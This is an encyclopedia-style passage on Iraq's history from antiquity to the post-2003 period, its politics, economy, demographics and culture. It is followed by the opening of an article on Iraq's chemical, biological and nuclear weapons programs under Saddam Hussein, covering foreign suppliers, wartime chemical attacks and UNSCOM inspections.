          In the sixth century BC, Cyrus the Great conquered the Neo-Babylonian Empire, and Mesopotamia was subsumed in the Achaemenid Persian Empire for nearly four centuries. Alexander the Great conquered the region again, putting it under Macedonian rule for nearly two centuries. A Central Asian tribe of ancient Iranian peoples known as the Parthians later annexed the region, followed by the Sassanid Persians. The region remained a province of the Persian Empire for nine centuries, until the 7th century.


          


          Islamic Caliphate
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          Beginning in the seventh century AD, Islam spread to what is now Iraq during the Islamic conquest of Persia, led by the Muslim Arab commander Khalid ibn al-Walid. Under the Rashidun Caliphate, the prophet Mohammed's cousin and son-in-law Ali moved his capital to Kufa "fi al-Iraq" when he became the fourth caliph. The Umayyad Caliphate ruled the province of Iraq from Damascus in the 7th century. (However, eventually there was a separate, independent Caliphate of Cordoba.)


          The Abbasid Caliphate built the city of Baghdad in the 8th century as their capital, and it became the leading metropolis of the Arab and Muslim world for five centuries. Baghdad was the largest multicultural city of the Middle Ages, peaking at a population of more than a million, and was the centre of learning during the Islamic Golden Age. The Mongols destroyed the city during the sack of Baghdad in the 13th century.


          


          Mongol Conquest


          In 1257, Hulagu Khan amassed an unusually large army, a significant portion of the Mongol Empire's forces, for the purpose of conquering Baghdad. When they arrived at the Islamic capital, Hulagu demanded surrender but the caliph refused. This angered Hulagu, and, consistent with Mongol strategy of discouraging resistance, Baghdad was decimated. Estimates of the number of dead range from 200,000 to a million.


          The Mongols destroyed the Abbasid Caliphate and The Grand Library of Baghdad (Arabic بيت الحكمة Bayt al-Hikma, lit., House of Wisdom), which contained countless, precious, historical documents. The city would never regain its status as major centre of culture and influence.


          In 1401, warlord of Turco-Mongol descent Tamerlane (Timur Lenk) invaded Iraq. After the capture of Bagdad, 20,000 of its citizens were massacred. Timur ordered that every soldier should return with at least two severed human heads to show him (many warriors were so scared they killed prisoners captured earlier in the campaign just to ensure they had heads to present to Timur).


          


          Ottoman Empire


          Later, the Ottoman Turks took Baghdad from the Persians in 1535. The Ottomans lost Baghdad to the Iranian Safavids in 1609, and took it back in 1632. From 1747 to 1831, Iraq was ruled, with short intermissions, by the Mamluk officers of Georgian origin who enjoyed local autonomy from the Sublime Porte. In 1831, the direct Ottoman rule was imposed and lasted until World War I, during which the Ottomans sided with Germany and the Central Powers.


          During World War I the Ottomans were driven from much of the area by the United Kingdom during the dissolution of the Ottoman Empire. The British lost 92,000 soldiers in the Mesopotamian campaign. Ottoman losses are unknown but the British captured a total of 45,000 prisoners of war. By the end of 1918 the British had deployed 410,000 men in the area, though only 112,000 were combat troops.


          During World War I the British and French divided the Middle East in the Sykes-Picot Agreement. The Treaty of Svres, which was ratified in the Treaty of Lausanne, led to the advent of the modern Middle East and Republic of Turkey. The League of Nations granted France mandates over Syria and Lebanon and granted the United Kingdom mandates over Iraq and Palestine (which then consisted of two autonomous regions: Palestine and Transjordan). Parts of the Ottoman Empire on the Arabian Peninsula became parts of what are today Saudi Arabia and Yemen.


          


          British Mandate of Mesopotamia
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          At the end of World War I, the League of Nations granted the area to the United Kingdom as a mandate. It initially formed two former Ottoman vilayets (regions): Baghdad, and Basra into a single country in August 1921. Five years later, in 1926, the northern vilayet of Mosul was added, forming the territorial boundaries of the modern Iraqi state.


          For three out of four centuries of Ottoman rule, Baghdad was the seat of administration for the vilayets of Baghdad, Mosul, and Basra. During the mandate, British colonial administrators ruled the country, and through the use of British armed forces, suppressed Arab and Kurdish rebellions against the occupation. They established the Hashemite king, Faisal, who had been forced out of Syria by the French, as their client ruler. Likewise, British authorities selected Sunni Arab elites from the region for appointments to government and ministry offices.


          


          Hashemite monarchy


          Britain granted independence to Iraq in 1932, on the urging of King Faisal, though the British retained military bases and transit rights for their forces. King Ghazi of Iraq ruled as a figurehead after King Faisal's death in 1933, while undermined by attempted military coups, until his death in 1939. The United Kingdom invaded Iraq in 1941, for fear that the government of Rashid Ali al-Gaylani might cut oil supplies to Western nations, and because of his strong ideological leanings to Nazi Germany. A military occupation followed the restoration of the Hashemite monarchy, and the occupation ended on October 26, 1947. The rulers during the occupation and the remainder of the Hashemite monarchy were Nuri al-Said, the autocratic prime minister, who also ruled from 19301932, and 'Abd al-Ilah, an advisor to the king Faisal II.


          


          Republic of Iraq


          The reinstated Hashemite monarchy lasted until 1958, when it was overthrown by a coup d'etat of the Iraqi Army, known as the 14 July Revolution. The coup brought Brigadier General Abdul Karim Qassim to power. He withdrew from the Baghdad Pact and established friendly relations with the Soviet Union, but his government lasted only until 1963, when it was overthrown by Colonel Abdul Salam Arif. Salam Arif died in 1966 and his brother, Abdul Rahman Arif, assumed the presidency. In 1968, Rahman Arif was overthrown by the Arab Socialist Baath Party. This movement gradually came under the control of Saddam Hussein al-Majid al Tikriti, who acceded to the presidency and control of the Revolutionary Command Council (RCC), then Iraq's supreme executive body, in July 1979, while killing many of his opponents.


          


          Saddam Hussein


          Saddam's regime lasted throughout the Iran-Iraq War (19801988), during which Iraqi forces attacked Iranian soldiers and civilians with chemical weapons. This period is notorious for the Saddam regime's human rights abuses, for instance, during the Al-Anfal campaign. The war ended in stalemate, largely due to American and Western support for Iraq. This was part of the US policy of "dual containment" of Iraq and Iran.


          In 1977, the Iraqi government ordered the construction of Osirak (also spelled Osiraq) at the Al Tuwaitha Nuclear Research Centre, 18km (11miles) south-east of Baghdad. It was a 40 MW light-water nuclear materials testing reactor (MTR). In 1981, Israeli aircraft bombed the facility, in order to prevent the country from using the reactor for creation of nuclear weapons.


          In 1990, Iraq invaded Kuwait, resulting in the Gulf War and economic sanctions imposed by the United Nations at the behest of the U.S. The economic sanctions were intended to compel Saddam to dispose of weapons of mass destruction. Critics estimate that more than 500,000 Iraqi children died as a result of the sanctions. The U.S. and the UK declared no-fly zones over Kurdish northern and Shiite southern Iraq to oversee the Kurds and southern Shiites.


          


          Invasion by American-led Coalition forces
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          In March 2003, a United States-organized coalition invaded Iraq, with the stated reason that Iraq had failed to abandon its nuclear and chemical weapons development program in violation of United Nations resolution 687. When Iraq invaded Kuwait during the first Gulf War, the United Nations Security Council, under Chapter VII of the United Nations Charter, adopted resolution 678, authorizing U.N. member states to use "all necessary means" to "restore international peace and security in the area." After Iraq was expelled from Kuwait the United Nations passed a cease-fire resolution 687. The agreement included provisions obligating Iraq to discontinue its nuclear weapons program. The United States asserted that because Iraq was in "material breach" of resolution 687, the armed forces authorization of resolution 678 was revived.


          The United States gave further justification for the invasion of Iraq in claims that Iraq had or was developing weapons of mass destruction and the opportunity to remove an oppressive dictator from power and bring democracy to Iraq. In his State of Union Address on 29 January, 2002, the American President George W. Bush declared that Iraq was a member of the "axis of evil", and that, like North Korea and Iran, Iraq's attempt to acquire weapons of mass destruction gave credence to the claim that the Iraqi government posed a serious threat to America's national security. He added, "Iraq continues to flaunt its hostilities toward America and to support terror. The Iraqi regime has plotted to develop anthrax, and nerve gas, and nuclear weapons for over a decade... This is a regime that agreed to international inspectionsthen kicked out inspectors. This is a regime that has something to hide from the civilized world... By seeking weapons of mass destruction, these regimes [Iran, Iraq and North Korea] pose a grave and growing danger. They could provide these arms to terrorists, giving them the means to match their hatred." However, no Iraqi weapons of mass destruction have been found since the invasion.


          


          Post-invasion
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          Following the invasion, the United States established the Coalition Provisional Authority to govern Iraq. Government authority was transferred to an Iraqi Interim Government in June 2004 and a permanent government was elected in October 2005. More than 140,000 Coalition troops remain in Iraq.


          Studies have placed the number of civilians deaths as high as 655,000 (see The Lancet study), although most studies have put the number much lower: the Iraq Body Count project has a figure of less than 10% of The Lancet Study. The website of the Iraq body count however states, "Our maximum therefore refers to reported deaths - which can only be a sample of true deaths unless one assumes that every civilian death has been reported. It is likely that many if not most civilian casualties will go unreported by the media." .


          After the invasion, al-Qaeda took advantage of the insurgency to entrench itself in the country concurrently with an Arab-Sunni led insurgency and sectarian violence.


          On December 30, 2006, Saddam Hussein was hanged . Hussein's half-brother and former intelligence chief Barzan Hassan and former chief judge of the Revolutionary Court Awad Hamed al-Bandar were likewise executed on January 15, 2007; as was Taha Yassin Ramadan, Saddam's former deputy and former vice-president (originally sentenced to life in prison but later to death by hanging), on March 20, 2007. Ramadan was the fourth and last man in the al-Dujail trial to die by hanging for crimes against humanity.


          At the Anfal genocide trial, Saddam's cousin Ali Hassan al-Majid (aka Chemical Ali), former defense minister Sultan Hashim Ahmed al-Tay, and former deputy Hussein Rashid Mohammed were sentenced to hang for their role in the Al-Anfal Campaign against the Kurds on June 24, 2007.


          Acts of sectarian violence have led to claims of ethnic cleansing in Iraq, and there have been many attacks on Iraqi minorities such as the Yezidis, Mandeans, Assyrians and others.


          In 2007 Foreign Policy Magazine named Iraq as the second most unstable nation in the world after Sudan.


          Although violence has declined from the summer of 2007, the U.N. reported of a cholera outbreak in Iraq.


          


          Iraqi diaspora


          The dispersion of native Iraqis to other countries is known as the Iraqi diaspora. There have been many large-scale waves of emigration from Iraq, beginning early in the regime of Saddam Hussein and continuing through to 2007. The UN High Commission for Refugees has estimated that nearly two million Iraqis have fled the country in recent years, mostly to Jordan and Syria. Although some expatriates returned to Iraq after the 2003 invasion, the flow had virtually stopped by 2006.


          In addition to the 2 million Iraqis who fled to neighbouring countries, the Internal Displacement Monitoring Centre estimates the number of people currently displaced within the country at 1.9 million.


          Roughly 40% of Iraq's middle class is believed to have fled, the U.N. said. Most are fleeing systematic persecution and have no desire to return. Refugees are mired in poverty as they are generally barred from working in their host countries.


          In recent times the Diaspora seems to be reversing with the increased security of the last few months, and the Iraqi government claims that so far 46,000 refugees have returned to their homes in October of 2007 alone ..


          


          Government and politics


          


          Government


          The federal government of Iraq is defined under the current Constitution as an Islamic, democratic, federal parliamentary republic. The federal government is composed of the executive, legislative, and judicial branches, as well as numerous independent commissions. Aside from the federal government, there are regions (made of one or more governorates), governorates, and districts within Iraq with jurisdiction over various matters as defined by law.


          


          Regions, governorates and districts


          Currently, Kurdistan is the only legally defined region within Iraq, with its own government and quasi-official militia, the Peshmerga. Iraq itself is divided into eighteen governorates (or provinces) (Arabic: muhafadhat, singular - muhafadhah, Kurdish: پاریزگه Prizgah). The governorates are subdivided into districts (or qadhas).
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          Politics
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          Iraq was under Baath Party rule from 1968 to 2003; in 1979 Saddam Hussein took control and remained president until 2003 after which he was unseated by a US-led invasion.


          On October 15, 2005, more than 63% of eligible Iraqis came out across the country to vote on whether to accept or reject the new constitution. On October 25, the vote was certified and the constitution passed with a 78% overall majority, with the percentage of support varying widely between the country's territories. The new constitution had overwhelming backing among the Shia and Ķurdish communities, but was overwhelmingly rejected by Arab Sunnis. Three majority Arab Sunni provinces rejected it ( Salah ad Din with 82% against, Ninawa with 55% against, and Al Anbar with 97% against).


          Under the terms of the constitution, the country conducted fresh nationwide parliamentary elections on December 15 to elect a new government. The overwhelming majority of all three major ethnic groups in Iraq voted along ethnic lines, turning this vote into more of an ethnic census than a competitive election, and setting the stage for the division of the country along ethnic lines.


          Iraqi politicians have been under significant threat by the various factions that have promoted violence as a political weapon. The ongoing violence in Iraq has been incited by an amalgam of religious extremists that believe an Islamic Caliphate should rule, old sectarian regime members that had ruled under Saddam that want back the power they had, and Iraqi nationalists that are fighting the U.S. military presence.


          Iraq has number of ethnic minority groups in Iraq: Kurds, Assyrians, Mandeans, Iraqi Turkmen, Shabaks and Roma. These groups have not enjoyed equal status with the majority Arab populations throughout Iraq's eighty-five year history. Since the establishment of the "no-fly zones" following the Gulf War of 19901991, the situation of the Kurds has changed as they have established their own autonomous region. The remainder of these ethnic groups continue to suffer discrimination on religious or ethnic grounds.


          


          Economy
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          Iraq's economy is dominated by the oil sector, which has traditionally provided about 95% of foreign exchange earnings. In the 1980s financial problems caused by massive expenditures in the eight-year war with Iran and damage to oil export facilities by Iran led the government to implement austerity measures, borrow heavily, and later reschedule foreign debt payments. Iraq suffered economic losses from the war of at least US$100 billion. After hostilities ended in 1988, oil exports gradually increased with the construction of new pipelines and restoration of damaged facilities. A combination of low oil prices, repayment of war debts (estimated at around US$3 billion a year) and the costs of reconstruction resulted in a serious financial crisis which was the main short term motivation for the invasion of Kuwait.


          On November 20, 2004, the Paris Club of creditor nations agreed to write off 80% ($33 billion) of Iraq's $42 billion debt to Club members. Iraq's total external debt was around $120 billion at the time of the 2003 invasion, and had grown by $5 billion by 2004. The debt relief will be implemented in three stages: two of 30% each and one of 20%.


          At the end of 2005, and in the first half of 2006, Iraq implemented a restructuring of about $20 billion of commercial debt claims on terms comparable to that of its November 2004 Paris Club agreement (i.e. with an 80% writeoff). Iraq offered to its larger claimants a U.S. dollar denominated bond maturing in 2028. Smaller commercial claimants received a cash settlement of comparable value.


          


          Reconstruction


          


          Demographics


          A July 2006 estimate of the total Iraqi population is 26,783,383.


          Seventy-four percent of Iraq's population are Arabs; the other major ethnic groups are the Kurds at 20.54%, Assyrians, Iraqi Turkmen and others (5%), who mostly live in the north and northeast of the country. Other distinct groups are Persians and Armenians. About 25,00060,000 Marsh Arabs live in southern Iraq.


          Arabic and Kurdish are official languages. Assyrian and Turkmen are official languages in areas where the Assyrians and Iraqi Turkmen are located respectively. Armenian and Persian are also spoken but to a lesser extent. English is the most commonly spoken Western language.


          Ethnic composition includes:


          
            	Arab, 74.45%; Kurdish, 20.54%; Turkoman, Assyrian or other 5.1%.

          


          Religious composition includes:


          
            	Muslim, 97%; Christian or other, 3%.

          


          There are no official figures available, mainly due to the highly politically charged nature of the subject. Two estimates of the Muslim proportions of the population are:


          
            	Shi'a as much as 60%, Sunni about 40% (source: Britannica, Religion section of Iraq article).

          


          Shi'a 60%-65%, Sunni 32%-37% (source: CIA World Fact Book).


          The Shi'a are mostly Arabs, some are Turkmen and Faili Kurds, and almost all are Twelver school. Sunnis are composed of Arabs, Turkmen who are Hanafi school and Kurds who are Shafi school.


          According to most western sources the majority of Iraqis are Shi'ite Arab Muslims (around 60%), and Sunnis represent about 40% of the population made up of Arabs, Kurds and Turkmen. Sunnis hotly dispute these figures, including an ex-Iraqi Ambassador, referring to American sources. They claim that many reports or sources only include Arab Sunnis as 'Sunni', missing out the Kurdish and Turkmen Sunnis.


          Ethnic Assyrians (most of whom are adherents of the Chaldean Catholic Church, Syriac Orthodox Church and the Assyrian Church of the East) account for most of Iraq's Christian population, along with Armenians. Bah's, Mandaeans, Shabaks, and Yezidis also exist. Most Kurds are Sunni Muslims, although the Faili (Feyli) Kurds are largely Shi'a.


          As of November 4, 2006, the UNHCR estimated that 1.8 million Iraqis had been displaced to neighboring countries, and 1.6 million were displaced internally, with nearly 100,000 Iraqis fleeing to Syria and Jordan each month. A May 25, 2007 article notes that in the past seven months only 69 people from Iraq have been granted refugee status in the United States.


          


          Culture


          In the most recent millennium, what is now Iraq has been made up of five cultural areas: Kurdish in the north centered on Arbil, Sunni Islamic Arabs in the centre around Baghdad, Shi'a Islamic Arabs in the south centered on Basra, the Assyrians, a Christian people, living in various cities in the north, and the Marsh Arabs, a nomadic people, who live on the marshlands of the central river. There are also the Bedouin tribes primarily in southern and western Iraq, with smaller groups scattered throughout the country. Markets and bartering are the common form of trade.


          


          Music
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          Iraq is known primarily for an instrument called the oud (similar to a lute) and a rebab (similar to a fiddle); its stars include Ahmed Mukhtar and the Assyrian Munir Bashir. Until the fall of Saddam Hussein, the most popular radio station was the Voice of Youth. It played a mix of western rock, hip hop and pop music, all of which had to be imported via Jordan due to international economic sanctions. Iraq has also produced a major pan-Arab pop star-in-exile in Kathem Al Saher, whose songs include Ladghat E-Hayya, which was banned for its racy lyrics.
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          This article concerns the Iraqi government's use, possession, and alleged intention of acquiring more types of weapons of mass destruction (WMD) during the presidency of Saddam Hussein. During his reign of several decades, he was internationally known for his use of chemical weapons in the 1980s against civilians and in the Iran-Iraq War. Following the 1991 Gulf War he also engaged in a decade-long confrontation with the United Nations and its weapons inspectors, which ended in the 2003 invasion by the United States.


          The United Nations located and destroyed large quantities of Iraqi WMD throughout the 1990s in spite of persistent Iraqi obstruction. Washington withdrew weapons inspectors in 1998, resulting in Operation Desert Fox, which further degraded Iraq's WMD capability. The United States and the UK, along with other countries and intelligence experts, asserted that Saddam Hussein still possessed large hidden stockpiles of WMD in 2003, and that he must be prevented from building any more. Inspections by the U.N. restarted from November 2002 until March 2003, but hadn't turned up any evidence of actual WMDs when the United States and the " Coalition of the Willing" invaded Iraq and overthrew Saddam Hussein in March 2003.


          Great controversy emerged when no stockpiles of WMDs were found, leading to accusations that the United States, its President George W. Bush in particular, had deliberately inflated intelligence or lied about Iraq's weapons in order to justify an invasion of the country. While various leftover weaponized WMDs and weapons components from the 1980s and 1990s have been found, most weapons inspectors now believe that Iraq's chemical weapons program did indeed cease production after 1991. The Iraq Survey Group found indications that Saddam intended to resume WMD activities if and when military sanctions were lifted.


          


          First use


          The first use of chemical weapons in Iraq was in 1919, when Britain's Royal Air Force dropped vesicant mustard gas on Bolshevik troops. Winston Churchill, secretary of state for war and air, suggested the RAF use "poisonous gas" the succeeding year, during a major revolt there, though historians are divided as to whether or not gas was in fact used.


          


          Program development 1960s - 1980s


          1959  17 August USSR and Iraq wrote an agreement about building an atomic power station.


          1968  a Russian supplied IRT-2000 research reactor atomic power station together with a number of other facilities that could be used for radioisotope production was built close to Baghdad.


          1975  Saddam Hussein arrived in Moscow in April. He asked about building an advanced model of an atomic power station. Moscow would approve, but only if the station was regulated by the International Atomic Energy Agency. Iraq refused.


          After 6 months Paris agreed to sell 72 kg of 93% Uranium and built the atomic power station without International Atomic Energy Agency control at a price of $3 billion.


          In the early 1970s, Saddam Hussein ordered the creation of a clandestine nuclear weapons program. Iraq's weapons of mass destruction programs were assisted by a wide variety of firms and governments in the 1970s and 1980s. As part of Project 922, German firms such as Karl Kobe helped build Iraqi chemical weapons facilities such as laboratories, bunkers, an administrative building, and first production buildings in the early 1980s under the cover of a pesticide plant. Other German firms sent 1,027 tons of precursors of mustard gas, sarin, tabun, and tear gasses in all. This work allowed Iraq to produce 150 tons of mustard agent and 60 tons of Tabun in 1983 and 1984 respectively, continuing throughout the decade. Five other German firms supplied equipment to manufacture botulin toxin and mycotoxin for germ warfare. In 1988, German engineers presented centrifuge data that helped Iraq expand its nuclear weapons program. Laboratory equipment and other information was provided, involving many German engineers. All told, 52% of Iraq's international chemical weapon equipment was of German origin. The State Establishment for Pesticide Production (SEPP) ordered culture media and incubators from Germany's Water Engineering Trading.


          France built Iraqs Osirak nuclear reactor in the late 1970s. Israel claimed that Iraq was getting close to building nuclear weapons, and so bombed it in 1981. Later, a French company built a turnkey factory which helped make nuclear fuel. France also provided glass-lined reactors, tanks, vessels, and columns used for the production of chemical weapons. Around 21% of Iraqs international chemical weapon equipment was French. Strains of dual-use biological material also helped advance Iraqs biological warfare program.


          Italy gave Iraq plutonium extraction facilities that advanced Iraqs nuclear weapon program. 75,000 shells and rockets designed for chemical weapon use also came from Italy. Between 1979 and 1982 Italy gave depleted, natural, and low-enriched uranium. Swiss companies aided in Iraqs nuclear weapons development in the form of specialized presses, milling machines, grinding machines, electrical discharge machines, and equipment for processing uranium to nuclear weapon grade. Brazil secretly aided the Iraqi nuclear weapon program by supplying natural uranium dioxide between 1981 and 1982 without notifying the IAEA. About 100 tons of mustard gas also came from Brazil.


          The United States exported $500 million of dual use exports to Iraq that were approved by the Commerce department. Among them were advanced computers, some of which were used in Iraqs nuclear program. The non-profit American Type Culture Collection and the Centers for Disease Control sold or sent biological samples to Iraq under Saddam Hussein up until 1989, which Iraq claimed it needed for medical research. These materials included anthrax, West Nile virus and botulism, as well as Brucella melitensis, which damages major organs, and clostridium perfringens, which causes gas gangrene. Some of these materials were used for Iraq's biological weapons research program, while others were used for vaccine development.


          The United Kingdom paid for a chlorine factory that was intended to be used for manufacturing mustard gas. The government secretly gave the arms company Matrix Churchill permission to supply parts for the Iraqi supergun, precipitating the Arms-to-Iraq affair when it became known.


          Many other countries contributed as well; since Iraq's nuclear program in the early 1980s was officially viewed internationally as for power production, not weapons, there were no UN prohibitions against it. An Austrian company gave Iraq calutrons for enriching uranium. The nation also provided heat exchangers, tanks, condensers, and columns for the Iraqi chemical weapons infrastructure, 16% of the international sales. Singapore gave 4,515 tons of precursors for VX, sarin, tabun, and mustard gasses to Iraq. The Dutch gave 4,261 tons of precursors for sarin, tabun, mustard, and tear gasses to Iraq. Egypt gave 2,400 tons of tabun and sarin precursors to Iraq and 28,500 tons of weapons designed for carrying chemical munitions. India gave 2,343 tons of precursors to VX, tabun, Sarin, and mustard gasses. Luxembourg gave Iraq 650 tons of mustard gas precursors. Spain gave Iraq 57,500 munitions designed for carrying chemical weapons. In addition, they provided reactors, condensers, columns and tanks for Iraqs chemical warfare program, 4.4% of the international sales. China provided 45,000 munitions designed for chemical warfare. Portugal provided yellowcake between 1980 and 1982. Niger provided yellowcake in 1981.


          


          Iran-Iraq war


          In 1980 the U.S. Defense Intelligence Agency filed a report stating that Iraq had been actively acquiring chemical weapons capacities for several years, which later proved to be accurate. In November 1980, two months into the Iran-Iraq War, the first reported use of chemical weapons took place when Tehran radio reported a poison gas attack on Susangerd by Iraqi forces. The United Nations reported many similar attacks occurred the following year, leading Iran to develop and deploy a mustard gas capability. By 1984, Iraq was using poison gas with great effectiveness against Iranian "human wave" attacks. Chemical weapons were used extensively against Iran by Iraq. On January 14, 1991, the Defense Intelligence Agency said an Iraqi agent described, in medically accurate terms, military smallpox casualties he said he saw in 1985 or 1986. Two weeks after, the Armed Forces Medical Intelligence Centre reported that eight of 69 Iraqi prisoners of war whose blood was tested showed a current immunity to smallpox, which had not occurred naturally in Iraq since 1971; the same prisoners had also been inoculated for anthrax. All of this occurring while Iraq was a party to the Geneva Protocol on September 8, 1931, the Nuclear Non-Proliferation Treaty on October 29, 1969, signed the Biological Weapons Convention in 1972, but did not ratify until June 11, 1991. Iraq has not signed to the Chemical Weapons Convention.


          The Washington Post reported that in 1984 the CIA secretly started providing intelligence to the Iraqi army. This included information that was used by the Iraqis in targeting chemical weapons strikes. The same year it was confirmed beyond doubt by European doctors and U.N. expert missions that Iraq was employing chemical weapons against the Iranians. Most of these occurred during the Iran-Iraq War, but WMDs were used at least once to crush the popular uprisings of 1991. Chemical weapons were used extensively, with more than 100,000 Iranian soldiers as victims of Saddam Hussein's chemical weapons during the eight-year war with Iraq, Iran today is the world's second-most afflicted country by weapons of mass destruction, only after Japan. The official estimate does not include the civilian population contaminated in bordering towns or the children and relatives of veterans, many of whom have developed blood, lung and skin complications, according to the Organization for Veterans. Nerve gas agents killed about 20,000 Iranian soldiers immediately, according to official reports. Of the 90,000 survivors, some 5,000 seek medical treatment regularly and about 1,000 are still hospitalized with severe, chronic conditions. Many others were hit by mustard gas. Despite the removal of Saddam and his regime by American forces, there is deep resentment and anger in Iran that it was Western nations that helped Iraq develop and direct its chemical weapons arsenal in the first place and that the world did nothing to punish Iraq for its use of chemical weapons throughout the war. For example, the US and UK blocked condemnation of Iraq's known chemical weapons attacks at the UN Security Council. No resolution was passed during the war that specifically criticized Iraq's use of chemical weapons, despite the wishes of the majority to condemn this use. On 21 March 1986 the United Nation Security Council recognized that "chemical weapons on many occasions have been used by Iraqi forces against Iranian forces"; this statement was opposed by the United States, the sole country to vote against it in the Security Council (the UK abstained).


          On March 23, 1988 western media sources reported from Halabja in Iraqi Kurdistan, that several days before Iraq had launched a large scale chemical assault on the town. Later estimates were that 7000 people had been killed and 20000 wounded. The Halabja poison gas attack caused an international outcry against the Iraqis. Later that year the U.S. Senate unanimously passed the "Prevention of Genocide Act", cutting off all U.S. assistance to Iraq and stopping U.S. imports of Iraqi oil. The Reagan administration opposed the bill, calling it premature, and eventually prevented it from taking effect, partly due to a mistaken DIA assessment which blamed Iran for the attack. At the time of the attack the town was held by Iranian troops and Iraqi Kurdish guerrillas allied with Tehran. The Iraqis blamed the Halabja attack on Iranian forces. This was still the position of Saddam Hussein in his December 2003 captivity. On August 21, 2006, the trial of Saddam Hussein and six codefendants, including Hassan al-Majid ("Chemical Ali"), opened on charges of genocide against the Kurds. While this trial does not cover the Halabja attack, it does cover attacks on other villages during the Iraqi "Anfal" operation alleged to have included bombing with chemical weapons.


          


          Chemical weapon attacks


          
            
              	Location

              	Weapon Used

              	Date

              	Casualties
            


            
              	Haij Umran

              	Mustard

              	August 1983

              	fewer than 100 Iranian/Kurdish
            


            
              	Panjwin

              	Mustard

              	October-November 1983

              	3,001 Iranian/Kurdish
            


            
              	Majnoon Island

              	Mustard

              	February-March 1984

              	2,500 Iranians
            


            
              	al-Basrah

              	Tabun

              	March 1984

              	50-100 Iranians
            


            
              	Hawizah Marsh

              	Mustard & Tabun

              	March 1985

              	3,000 Iranians
            


            
              	al-Faw

              	Mustard & Tabun

              	February 1986

              	8,000 to 10,000 Iranians
            


            
              	Um ar-Rasas

              	Mustard

              	December 1986

              	1,000s Iranians
            


            
              	al-Basrah

              	Mustard & Tabun

              	April 1987

              	5,000 Iranians
            


            
              	Sumar/Mehran

              	Mustard & nerve agent

              	October 1987

              	3,000 Iranians
            


            
              	Halabjah

              	Mustard & nerve agent

              	March 1988

              	7,000s Kurdish/Iranian
            


            
              	al-Faw

              	Mustard & nerve agent

              	April 1988

              	1,000s Iranians
            


            
              	Fish Lake

              	Mustard & nerve agent

              	May 1988

              	100s or 1,000s Iranians
            


            
              	Majnoon Islands

              	Mustard & nerve agent

              	June 1988

              	100s or 1,000s Iranians
            


            
              	South-central border

              	Mustard & nerve agent

              	July 1988

              	100s or 1,000s Iranians
            


            
              	an-Najaf -

              Karbala area

              	Nerve agent & CS

              	March 1991

              	Shia casualties not known
            

          


          (Source:)


          


          The 1991 Gulf War


          On August 2, 1990 Iraq invaded Kuwait and was widely condemned internationally. The policy of the United States on Hussein's government changed rapidly, as it was feared Saddam intended to attack other oil-rich nations in the region such as Saudi Arabia. As stories of atrocities from the occupation of Kuwait spread, several of which later proved false, older atrocities and his WMD arsenal were also given attention. Iraq's nuclear weapons program suffered a serious setback in 1981 when the reactor used to generate source material for its bomb was bombed by Israel . The Bulletin of the Atomic Scientists concurs with this view: there were far too many technological challenges unsolved, they say. An international coalition of nations, led by the United States, liberated Kuwait in 1991.


          In the terms of the UN ceasefire set out in Security Council Resolution 686, and in Resolution 687, Iraq was forbidden from developing, possessing or using chemical, biological and nuclear weapons by resolution 686. Also proscribed by the treaty were missiles with a range of more than 150 kilometres. The UN Special Commission on weapons (UNSCOM) was created to carry out weapons inspections in Iraq, and the International Atomic Energy Agency (IAEA) was to verify the destruction of Iraq's nuclear program.


          


          Between Gulf Wars


          


          UNSCOM inspections 1991-1998


          The United Nations Special Commission on Iraq (UNSCOM) was set up after the 1990 invasion of Kuwait to inspect Iraqi weapons facilities. It was headed first by Rolf Ekus and later by Richard Butler. During several visits to Iraq by UNSCOM, weapons inspectors interviewed British-educated Iraqi biologist Rihab Rashid Taha. According to a 1999 report from the U.S. Defense Intelligence Agency, the normally mild-mannered Taha exploded into violent rages whenever UNSCOM questioned her about al-Hakam, shouting, screaming and, on one occasion, smashing a chair, while insisting that al-Hakam was a chicken-feed plant. "There were a few things that were peculiar about this animal-feed production plant", Charles Duelfer, UNSCOM's deputy executive chairman, later told reporters, "beginning with the extensive air defenses surrounding it." The facility was destroyed by UNSCOM in 1996.


          In 1995, UNSCOM's principal weapons inspector, Dr. Rod Barton from Australia, showed Taha documents obtained by UNSCOM that showed the Iraqi government had just purchased 10 tons of growth medium from a British company called Oxoid. Growth media is a mixture of sugars, proteins and minerals that provides nutrients for microorganisms to grow. It can be used in hospitals and microbiology/ molecular biology research laboratories. In hospitals, swabs from patients are placed in dishes containing growth medium for diagnostic purposes. Iraq's hospital consumption of growth medium was just 200 kg a year; yet in 1988, Iraq imported 39 tons of it. Shown this evidence by UNSCOM, Taha admitted to the inspectors that she had grown 19,000 litres of botulism toxin; 8,000 litres of anthrax; 2,000 litres of aflatoxins, which can cause liver failure; Clostridium perfringens, a bacterium that can cause gas gangrene; and ricin, a castor-bean derivative which can kill by impeding circulation. She also admitted conducting research into cholera, salmonella, foot and mouth disease, and camel pox, a disease that uses the same growth techniques as smallpox, but which is safer for researchers to work with. It was because of the discovery of Taha's work with camel pox that the U.S. and British intelligence services feared Saddam Hussein may have been planning to weaponize the smallpox virus. Iraq had a smallpox outbreak in 1971 and the Weapons Intelligence, Nonproliferation and Arms Control Centre (WINPAC) believed the Iraqi government retained contaminated material.


          UNSCOM also learned that, in August 1990, after Iraq's invasion of Kuwait, Taha's team was ordered to set up a program to weaponize the biological agents. By January 1991, a team of 100 scientists and support staff had filled 157 bombs and 16 missile warheads with botulin toxin, and 50 bombs and five missile warheads with anthrax. In an interview with the BBC, Taha denied the Iraqi government had weaponized the bacteria. "We never intended to use it", she told journalist Jane Corbin of the BBC's Panorama program. "We never wanted to cause harm or damage to anybody." However, UNSCOM found the munitions dumped in a river near al-Hakam. UNSCOM also discovered that Taha's team had conducted inhalation experiments on donkeys from England and on beagles from Germany. The inspectors seized photographs showing beagles having convulsions inside sealed containers.


          The inspectors feared that Taha's team had experimented on human beings. During one inspection, they discovered two primate-sized inhalation chambers, one measuring 5 cubic meters, though there was no evidence the Iraqis had used large primates in their experiments. According to former weapons inspector Scott Ritter in his 1999 book Endgame: Solving the Iraq Crisis, UNSCOM learned that, between July 1 and August 15, 1995, 50 prisoners from the Abu Ghraib prison were transferred to a military post in al-Haditha, in the northwest of Iraq. Iraqi opposition groups say that scientists sprayed the prisoners with anthrax, though no evidence was produced to support these allegations. During one experiment, the inspectors were told, 12 prisoners were tied to posts while shells loaded with anthrax were blown up nearby. Ritter's team demanded to see documents from Abu Ghraib prison showing a prisoner count. Ritter writes that they discovered the records for July and August 1995 were missing. Asked to explain the missing documents, the Iraqi government charged that Ritter was working for the CIA and refused UNSCOM access to certain sites like Baath Party headquarters. Although Ekus has said that he resisted attempts at such espionage, many allegations have since been made against the agency commission under Butler, charges which Butler has denied .


